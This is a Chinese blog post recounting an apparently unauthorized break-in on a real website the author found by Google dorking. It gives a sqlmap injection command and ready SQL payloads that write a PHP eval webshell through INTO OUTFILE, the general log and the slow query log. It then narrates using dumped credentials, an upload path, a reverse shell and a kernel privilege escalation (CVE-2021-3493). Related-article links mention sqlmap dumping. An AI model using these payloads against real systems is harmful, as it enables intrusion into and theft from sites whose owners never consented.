崎岖的渗透测试

渗透测试:详解sqlmap进行POST注入、基于insert的注入(以vulnhub靶机LampSecurity:CTF7为例) 本文以vulnhub靶机LampSecurity:CTF7为例,详解了insert(非select)类型的SQL注入方法,包含对报错注入函数updatexml的使用。同时还详解了使用sqlmap进行POST类型注入的方法。 阅读详情

title: 崎岖的渗透测试实战
tags:

  • 渗透实战
    abbrlink: 47189
    date: 2022-06-12 21:20:58

渗透测试实战

闲来无事,找找站点搞一搞。非常感谢我的大表哥提供的技术帮助和支持。

一波谷歌语法,发现该站点,手工测试,发现可能存在sql注入,抱着试试看的心态,直接丢sqlmap。

因为一直用的windows下的sqlmap2,导致误判dba权限

python2 sqlmap.py -u http://xxxx/PHP/a_content.php?id=61   --random-agent  --tamper=space2hash.py --threads 5 --batch

旧版本sqlmap
在这里插入图片描述

kali下的sqlmap
在这里插入图片描述

mysql写入webshell

顺便学习加复习一下,方便自己以后食用

  1. 通过outfile写入shell

    select '<?php @eval($_POST[1]);?>' into outfile '网站的绝对路径/shell.php';
    
  2. 将shell写入表中

    将shell插入一个表中
    insert into tables values ('<?php @eval($_POST[1]);?>');
    查询该数据表,将结果导出文件
    select comment from sxss into outfile '网站的绝对路径/shell.php';
    
  3. 开启全局日志写入shell

    查看全局日志配置
    show variables like '%general%';
    开启全局配置
    set global general_log = on;
    将日志文件设置成服务器下的木马文件
    set global general_log_file = 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';
    然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中
    select '<?php @eval($_POST[1]);?>';
    
  4. 慢查询日志写入shell(高版本的mysql有默认不让导入导出)

    查看慢查询日志开启情况
    show variables like '%slow_query_log%';
    开启慢查询日志
    set global slow_query_log=1;
    修改日志文件存储的绝对路径
    set global slow_query_log_file='网站的绝对路径/shell.php';
    向日志文件中写入shell
    select '<?php @eval($_POST[1]);?>' or sleep(11);
    

利用条件:

  • root权限

  • 网站的绝对路径且具有写入权限

信息收集

1.扫描一波web路径,发现存在phpadmin

在这里插入图片描述

2.sqlmap一把梭
在这里插入图片描述

3.md5解密
在这里插入图片描述

数据库getshell尝试

  • 登录phpadmin

https://raw.githubusercontent.com/16778738/picture/master/img/202206122202317.png

  • 翻一波之前的phpadmin getshell笔记

确认一下网站的绝对路径

1.into outfile导入木马

select @@basedir;

只有/usr/,试试默认路径/var/www/html,无果

select '<?php eval($_POST[cmd]);?>' into outfile 'web路径';

mysql高版本中secure_file_pirv会对读写进行限制

show global variables like '%secure%';

当secure_file_priv为NULL时,表示限制Mysql不允许导入导出。

要想成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可。
在这里插入图片描述

2.利用Mysql日志文件

mysql5.0以上会创建日志文件

  1. general_log 指的是日志保存状态,ON代表开启 OFF代表关闭;

  2. general_log_file 指的是日志的保存路径。

    查看日志状态:

    show variables like '%general%';
    

    当开启general时,所执行的sql语句都会出现在log文件。

    修改general_log_file的值,执行的sql语句就会对应生成,进而getshell。

    需要注意路径斜杠的方向

    set global general_log = 'on'
    set global general_log_file = 'C:/phpStudy/www/hack.php'
    

    再次执行,getshell

    select '<?php eval($_POST[cmd]);?>'
    

在这里插入图片描述

无法访问
在这里插入图片描述

前端上传getshell

前端登录,通过sqlmap跑出的用户账号密码登录,发现两处上传,一处头像,一处身份证照片上传
在这里插入图片描述

尝试上传漏洞

burp一把梭
在这里插入图片描述
在这里插入图片描述

经过一波操作尝试,发现图片可以上传成功,但是无法正常访问,和我的大表哥交流得知可能存在路径权限访问限制。

柳暗花明又一村

还得是见多识广的表哥啊!!!!

上传的很多路径都在/PHP/这个路径中,于是做了一下目录递归扫描,发现该站存在路径遍历的问题。

递归一波web路径 ,又学习到了新知识!!!开森
在这里插入图片描述

访问一波/PHP/qa/目录

可以正常访问,意外的有上传
在这里插入图片描述
在这里插入图片描述

webshell

在这里插入图片描述

反弹shell,提权

在这里插入图片描述

CVE-2021-3493(提权内核漏洞)

自己提权失败,linux提权需要学习一波,先借用表哥的图贴上
在这里插入图片描述

webshell的快乐

No One Is Secure Everything Can Be Broken !

sqli-labs通关详解 sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” --current-db 爆破表单。sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security --tables 最后脱库。条件正确有回显,条件错误没有回显,布尔盲注?py -r 文件位置 -p 扫描位置 --batch -D security -T users --dump //脱库。 阅读详情

相关推荐

ARM架构下移动设备运行Kali Linux的挑战与替代方案

ARM架构作为移动设备处理器的核心指令集,与传统的x86/x64架构存在根本性差异,这决定了软件生态和系统部署方式的区别。其技术原理在于不同的指令集设计导致二进制程序无法直接跨架构运行,这影响了专业工具在不同平台间的移植。在网络安全与渗透测试领域,Kali Linux作为集成数百种安全工具的发行版,其价值在于提供完整的数字取证和渗透测试环境。然而,在移动设备上直接部署面临处理器架构不匹配、硬件驱动缺失和启动引导程序锁定等核心障碍。因此,更可行的应用场景是在安卓系统上通过Termux等终端模拟器创建Linux

weixin_30947043的博客 398

遇事不决,一把梭哈——sqlmap

有些网站只能在手机访问,但是sqlmap默认的访问头是电脑头,有些网站就是看文件头的base64编码注入点,需要对参数进行编码,才能进行注入。sqlmap里有自带的过滤规则。在进行post注入的时候,可以在后面加*(其实可以在数据包每行后面都加上一个*),数据包的完整性。

weixin_58782362的博客 1104

手把手教你用闲置安卓手机+蓝鲸支付,零成本搞定个人项目自动收款(附私有化部署教程)

本文详细介绍了如何利用闲置安卓手机和蓝鲸支付系统,零成本搭建个人项目自动收款解决方案。通过私有化部署教程,读者可以学习到从手机选择、系统配置到支付渠道对接的全流程,实现安全、高效的收款系统,特别适合个人开发者和小型项目使用。

weixin_29597551的博客 335

数据表很多,sqlmap快速找出存放用户名和密码的表,一把梭

这两天打战,突然发现了有个巨多无比数据库的sql注入漏洞,漏洞是找到了,可怎么去翻找用户名和密码存放在哪个表了? 其中一个少的数据库就已经有35个表格存在了,假设在命名没有规律的情况下如何查找呢。 可以输入sqlmap的这条语句 -D 数据库–-search -C username,password 可以看到,sqlmap把匹配到的内容全部都爬了出来,后续不要点爆破就可以了 本博客仅用于学习交流,请各位同学自行在靶场或授权站点进行测试。 ...

小城的博客 4626

面向多目标跟踪的数据关联方法研究综述

摘要:多目标跟踪技术在军事和民用领域具有广泛应用,其核心挑战在于数据关联问题。本文系统梳理了数据关联的主要解决方法,首次将经典算法分为确定性关联和概率性关联两大类。确定性关联(如NNDA、GNN、MHT)采用"硬分配"策略,计算效率高但易受噪声干扰;概率性关联(如PDA、JPDA、PMHT)通过"软分配"处理不确定性,更适合复杂场景。文章详细分析了各类算法的原理、适用条件和优缺点,并探讨了智能学习等新兴技术在视觉跟踪等领域的应用。研究指出,尽管随机集滤波等新方法出现,

qq_43416206的博客 1141

AI 代码生成工具的质量评估体系

基础需求层包括响应速度(Response Time)和界面友好性(UI Friendliness),期望需求层涵盖智能提示(Smart Suggestions)和个性化配置(Personalization),兴奋需求层则涉及多模态交互(Multimodal Interaction)和代码进化(Code Evolution)。在金融领域,代码审计合规性(Compliance Audit)权重应提升至40%,而在Web开发中,API兼容性(API Compatibility)的权重需达到35%。

2503_92418637的博客 3375

sqlmap使用介绍(一、基本使用)

一、功能介绍 最直白的可以协助你进行sql注入,获取有用信息,一些简单的注入甚至可以用它一把梭。 最基本的,当你给一个可能有sql注入的url时,它能判断可注入的参数、判断可以用那种SQL注入技术来注入、识别出哪种数据库、据用户选择读取哪些数据。 再就是高大上的官方介绍,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库

风过江南乱的博客 2056

链路聚合Eth-trunk以及华为交换机配置实例

链路聚合简介 以太网链路聚合Eth-Trunk简称链路聚合,它通过将多条以太网物理链路捆绑在一起成为一条逻辑链路,从而实现增加链路带宽的目的。同时,这些捆绑在一起的链路通过相互间的动态备份,可以有效地提高链路的可靠性。 目的: 随着网络规模不断扩大,用户对骨干链路的带宽和可靠性提出越来越高的要求。在传统技术中,常用更换高速率的接口板或更换支持高速率接口板的设备的方式来增加带宽,但这种方案需要付出高额的费用,而且不够灵活。 采用链路聚合技术可以在不进行硬件升级的条件下,通过将多个物理接口捆绑为一个逻辑接口

ChaseAug的博客 2万+

安全渗透面试题集锦(持续更新)

搞技术的,如果想要有好的发展,就免不了要跳槽。现在整理一套优秀的安全方面的面试题,希望大家可以未雨绸缪、亡羊补牢、胸怀大志、奋发图强、自立根生、自立自强、自我突破、自言自语。。。没事的时候打开看看,给自己充充电,总有自己不会的,总有自己想不到的。共勉!(其实道路漫长,充满崎岖坎坷,且行且珍惜) 七层模型可能会考到的问题: http://pnig0s1992.blog.51cto.com/39339

hackerie的博客 9747

freeswitch之呼叫中心acd模块开发

一、定义: ACD(Automatic Call Distributor) 自动呼叫分配,也叫智能选择座席。它是呼叫中心整个前台接入系统逻辑功能的描述:把接入的呼叫转接到正确的座席员桌前。ACD是现代呼叫中心有别于一般的热线电话系统和自动应答系统的重要标志,其性能的优劣直接影响到呼叫中心的效率和顾客的满意度。 二、ACD包含的功能点: 1 、程控交换功能 ACD在本质上也是交换机的一种类型,必须具有程控交换最基本的话务交换功能。 2 、排队功能 ACD必须具有话务排队的功能,所谓排队是指在内线都

飞鸟的博客 1870

MATLAB实战:手把手教你用三频四步相移法搞定结构光三维重建(附完整代码)

本文详细介绍了如何使用MATLAB实现三频四步相移法进行高精度结构光三维重建。通过光栅图像预处理、相位计算、多频外差与相位解包裹等步骤,结合完整代码示例,帮助读者掌握从二维图像到三维点云的关键技术。该方法在工业检测和逆向工程中具有抗干扰能力强、高分辨率和鲁棒性等优势。

weixin_29201933的博客 340

欢迎使用优快云-markdown编辑器

致自己写博客的第一步今天这个算是我的一个博文吧,可以并不知道该写什么。资源,以备后续使用: Markdown语法指导手册 开源的流程图绘画网站——推荐[可能得翻墙访问] 自学编程网站 Linux系统下载——网易镜像网站 matlab下载+破解——得翻墙访问 给未来自己说几句吧未来将从事渗透测试方面的工作,高兴有几分;然而感觉还是对于未来的路有些担心,担心未知的崎岖。但是呢

坐船起飞 144

全能媒体工具深度测评(下篇一):AI图文生成+全能解压+图片去文字,一键搞定素材精修

解压50多种格式,文生图,图生图

cs821984831的博客 42

2026网络安全这趟车_你还敢上吗?

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。更扎心的是,即便找到工作,也常常是“零工经济”模式——公司有等保测评、渗透测试、应急响应需求时,才临时找外包。深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

韩束一叶子 679

【知识分享】IBIS 建模指南 04

文章详细阐述了将缓冲器数据转换为IBIS模型格式的核心步骤与规范要求。主要内容包括:1)IBIS文件三大结构(文件头信息、组件引脚映射、缓冲器行为描述)及其关键词定义;2)四种关键I-V表(上下拉、电源/地钳位)的数据处理规则,强调需避免重复计算效应;3)切换特性描述方法,指出V-T波形表优于Ramp数据的三大优势;4)差分缓冲器通过[DiffPin]关键词实现建模的特殊流程。文中特别强调数据外推校验、参考电压基准转换、工艺角数据排序等易错环节的处理技巧,为创建符合IBIS 4.0规范的精确模型提供指导。

一只豌豆象的博客 2054

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

2026网络安全这趟车,你还敢上吗?

最近不少朋友私信问我:“现在转行学网络安全,还来得及吗?” “高考填志愿选信息安全专业,前景如何?我的建议可能让你心头一凉:2026,请谨慎跳坑。先别急着反驳,听完这几个现实再决定。

yy1715713348的博客 672

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

AI 攻防时代,2026 网络安全这趟车敢上吗?

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。更扎心的是,即便找到工作,也常常是“零工经济”模式——公司有等保测评、渗透测试、应急响应需求时,才临时找外包。深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

2401_84760527的博客 643

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

计算机毕业,从售后客服到安全运维,他是如何从头再来的?

我是计算机网络专业,虽然不如信安专业那样对口,但也很适合入安全这行,当初毕业的时候自己也没有想清楚职业规划,听了太多身边人的“建议”,所以稀里糊涂当了售后客服,后面看着身边的同学都在技术领域发光发热,我自己却早就将所学忘得七七八八,这份“刺激”让我一下清醒过来,第一次很明确而且坚定的,要学习网络安全。这一生,我们会经历过很多次选择,在没有足够多的阅历和经验沉淀之前,我们可能经常会选择一条“崎岖”的道路,但选错不可怕,重要的是要学会及时掉头,把错误化为经验教训,让自己走上更好的方向,而非意志消沉,彻底摆烂。

qq_35254085的博客 307

【小白渗透入门系列目录】

大家好! 我是小黄,很高兴又跟大家见面啦 ! 拒绝水文,从我做起 !!!! 未经允许,禁止转载 ,违者必究!!!! 本实验仅适用于学习和测试 ,严禁违法操作 ! ! ! 各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。 每个小伙伴的关注都是本人更新博客的动力!!! 请微信搜索【 在下小黄 】文章更新将在第一时间阅读 ! 博客中若有不恰当的地方,请您一定要告诉我。前路崎岖,望我们可以互相帮助,并肩前行! ...

在下小黄的博客 2524
上一篇: Nessus安装学习笔记
脚本实习生
博客等级 码龄8年 12粉丝 27原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值